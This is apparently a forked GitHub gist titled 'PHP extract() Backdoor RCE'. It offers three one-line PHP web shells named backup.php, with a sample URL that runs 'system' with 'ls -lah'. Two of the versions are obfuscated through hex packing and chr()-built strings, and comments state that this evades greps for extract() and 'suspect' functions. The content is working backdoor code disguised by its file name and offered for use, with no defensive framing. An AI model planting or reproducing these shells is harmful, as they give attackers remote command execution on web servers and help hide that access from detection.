Skip to content

Instantly share code, notes, and snippets.

@virgulvirgul

virgulvirgul/backup.php

Forked from leonjza/backup.php
Created April 6, 2018 14:11
Show Gist options
  • Save virgulvirgul/2183fb2806ea62d0afb7ffccefbb0306 to your computer and use it in GitHub Desktop.
Save virgulvirgul/2183fb2806ea62d0afb7ffccefbb0306 to your computer and use it in GitHub Desktop.
Download ZIP
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
Raw
backup.php
<?php extract($_REQUEST); @die($ctime($atime));
Raw
backup_.php
<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Slightly Obfuscated to evade some greps for extract() method
Raw
backup__.php
<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Even more obfustication to avoid using any 'suspect' functions directly
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment